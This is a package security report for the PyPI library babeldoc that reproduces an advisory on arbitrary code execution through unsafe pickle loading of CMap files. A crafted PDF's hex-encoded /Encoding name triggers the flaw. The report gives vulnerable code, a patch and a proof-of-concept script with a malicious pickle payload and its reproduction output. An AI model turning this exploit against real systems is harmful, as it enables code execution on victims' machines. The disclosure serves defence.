pypi package report

Is babeldoc safe?

1 known vulnerability, worst severity HIGH.

// reach

36 direct dependencies

14 carry known advisories, worst CRITICAL

0 packages depend on it

an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    No published models are known to use this package.


    cvss
    0.0
    high

    severity out of 10

    epss
    0.00%
    low

    chance of exploitation in 30 days, 31st percentile of all CVEs

    xyz score
    0.0
    low

    CyberXYZ composite out of 10

    fig. 01 — GHSA-m8gf-v64p-gfmg, the advisory selected below

    // 1 advisories

    GHSA-m8gf-v64p-gfmg

    HIGHCVE-2026-54071
    // summary

    BabelDOC's vendored PDF parser (babeldoc/pdfminer/cmapdb.py) deserializes untrusted pickle data when loading CMap files. The loaddata() method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to os.path.join() and pickle.loads(). Because Python's os.path.join() discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF's /Encoding name (e.g., /#2Ftmp#2Fattacker#2Fevil) can redirect deserialization to any attacker-writable .pickle.gz file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.

    // details

    The vulnerable function is CMapDB.loaddata() at babeldoc/pdfminer/cmapdb.py:232–245:

    @classmethod
    def _load_data(cls, name: str) -> Any:
        name = name.replace("\0", "")          # line 233 — only NUL is stripped
        filename = "%s.pickle.gz" % name       # line 234 — attacker-controlled string
        ...
        for directory in cmap_paths:
            path = os.path.join(directory, filename)   # line 241 — no realpath/canonical check
            if os.path.exists(path):
                gzfile = gzip.open(path)
                try:
                    return type(str(name), (), pickle.loads(gzfile.read()))  # line 245 — unconditional pickle

    Path injection via PDF name hex-encoding. The PDF specification allows name objects to encode arbitrary bytes as #xx. The pdfminer literal-name parser (psparser.parseliteralhex) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal /#2Ftmp#2Fattacker#2Fevil is decoded to the Python string /tmp/attacker/evil.

    Python os.path.join() absolute-path override. When the decoded name starts with / (i.e., it is an absolute path), Python's os.path.join(directory, name + ".pickle.gz") ignores directory entirely and returns the absolute path unchanged. The trusted cmappaths directories (/usr/share/pdfminer/, the package's own cmap/ folder) are therefore completely bypassed.

    Data flow from PDF to sink:

    • babeldoc/main.py:611–622 — CLI accepts a PDF path; only existence and .pdf suffix are checked.
    • babeldoc/main.py:678–679 — path stored in TranslationConfig(inputfile=file).
    • babeldoc/format/pdf/highlevel.py:472–488 — translationconfig.inputfile enters the translate pipeline.
    • babeldoc/format/pdf/highlevel.py:805–848 — PDF saved to temppdfpath and parsed with parsepreparedpdfwithnewparsertolegacyir.
    • babeldoc/format/pdf/newparser/nativeparse.py:60–70 — prepared pages loaded and interpreted.
    • babeldoc/format/pdf/newparser/pymupdfpreparedpageaccess.py:25–34 — PyMuPDF opens the PDF and builds page resources.
    • babeldoc/format/pdf/newparser/preparedresourcebuilder.py:84–94 — font resources converted to PreparedFontSpec.
    • babeldoc/format/pdf/newparser/activefontresourceruntime.py:21–35 — page resource bundle resolves root font map.
    • babeldoc/format/pdf/newparser/activefontruntime.py:79–87 — each font spec projected and passed to fontfactory.createfont.
    • babeldoc/format/pdf/newparser/activedirectfontbackend.py:291–292, 491–493 — CID fonts call buildcidcmap(spec, literalname=literalname).
    • babeldoc/format/pdf/newparser/runtime/cidcmapruntime.py:52–77 — PDF-controlled /Encoding/CMapName normalized and passed to CMapDB.getcmap. normalizecmapname() removes only a single leading /; all other path characters pass through.
    • babeldoc/pdfminer/cmapdb.py:233–245 — sink: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with pickle.loads().

    Sanitization gaps:

    • name.replace("\0", "") removes only the NUL byte; .., /, \, and hex-decoded path separators are unaffected.
    • There is no os.path.realpath(), os.path.abspath(), or os.path.commonpath() containment check before the file is opened.
    • There is no allowlist of known CMap names nor any integrity verification of the pickle data.

    Recommended patch (babeldoc/pdfminer/cmapdb.py):

    --- a/babeldoc/pdfminer/cmapdb.py
    +++ b/babeldoc/pdfminer/cmapdb.py
    @@
             cmap_paths = (
                 os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
                 os.path.join(os.path.dirname(__file__), "cmap"),
             )
             for directory in cmap_paths:
    -            path = os.path.join(directory, filename)
    +            base_dir = os.path.realpath(directory)
    +            path = os.path.realpath(os.path.join(base_dir, filename))
    +            try:
    +                if os.path.commonpath([base_dir, path]) != base_dir:
    +                    continue
    +            except ValueError:
    +                continue
                 if os.path.exists(path):
                     gzfile = gzip.open(path)

    A more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.

    // poc

    Environment setup (Docker — recommended for isolation):

    # From the repository root
    docker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .
    docker run --rm vuln-001-babeldoc-cmap

    Manual setup (local venv):

    python3 -m venv /tmp/babeldoc-poc-venv
    source /tmp/babeldoc-poc-venv/bin/activate
    pip install freetype-py==2.5.1 charset-normalizer cryptography
    export PYTHONPATH=/path/to/BabelDOC
    python3 poc.py

    PoC script (poc.py) — key steps:

    import gzip, pathlib, pickle, sys
    
    CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
    MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
    MALICIOUS_PDF    = CMAP_STAGING_DIR / "malicious.pdf"
    PROOF_FILE       = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")
    
    # Step 1 — write the malicious pickle to a world-writable location
    class MaliciousPayload:
        def __reduce__(self):
            return (pathlib.Path(str(PROOF_FILE)).write_text,
                    ("RCE_CONFIRMED: pickle.loads executed attacker payload",))
    
    CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
    with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
        pickle.dump(MaliciousPayload(), fh)
    
    # Step 2 — craft a PDF whose /Encoding name hex-encodes the absolute path
    # "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to "/tmp/babeldoc-cmap-poc/malicious"
    encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"
    
    # ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...
    # Full source in poc.py
    
    # Step 3 — trigger via the pdfminer high-level API
    from babeldoc.pdfminer.high_level import extract_text
    try:
        extract_text(str(MALICIOUS_PDF))
    except TypeError:
        pass  # expected: type(name, (), ) fails after write_text returns int
    
    # Step 4 — verify
    assert PROOF_FILE.exists(), "FAIL: proof file not created"
    print(PROOF_FILE.read_text())  # => "RCE_CONFIRMED: pickle.loads executed attacker payload"

    Phase 2 dynamic reproduction output (Docker container):

    [+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz
    [+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf
    [*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...
    [*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int
    [*] This exception is expected; the payload ran before it.
    
    ============================================================
    RESULT: PASS
    Proof file: /tmp/babeldoc_cmap_rce_proof.txt
    Content:    'RCE_CONFIRMED: pickle.loads executed attacker payload'
    ============================================================

    The TypeError is benign and expected: writetext() returns an integer, and the subsequent type(name, (), ) call in loaddata() raises before reaching further code. The payload already executed successfully at that point.

    Attack path summary:

    PDF /Encoding  /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious
      -> pdfminer hex-decodes #2F -> '/'
      -> literal_name = "/tmp/babeldoc-cmap-poc/malicious"
    // cvss v3.1 vector

    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

    Attack vector
    Local
    Attack complexity
    Low
    Privileges required
    None
    User interaction
    Required
    Scope
    Unchanged
    Confidentiality
    High
    Integrity
    High
    Availability
    High

    Checked 2026-10-23 at 18:48 UTC. The most recent advisory here was published 2026-07-10. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.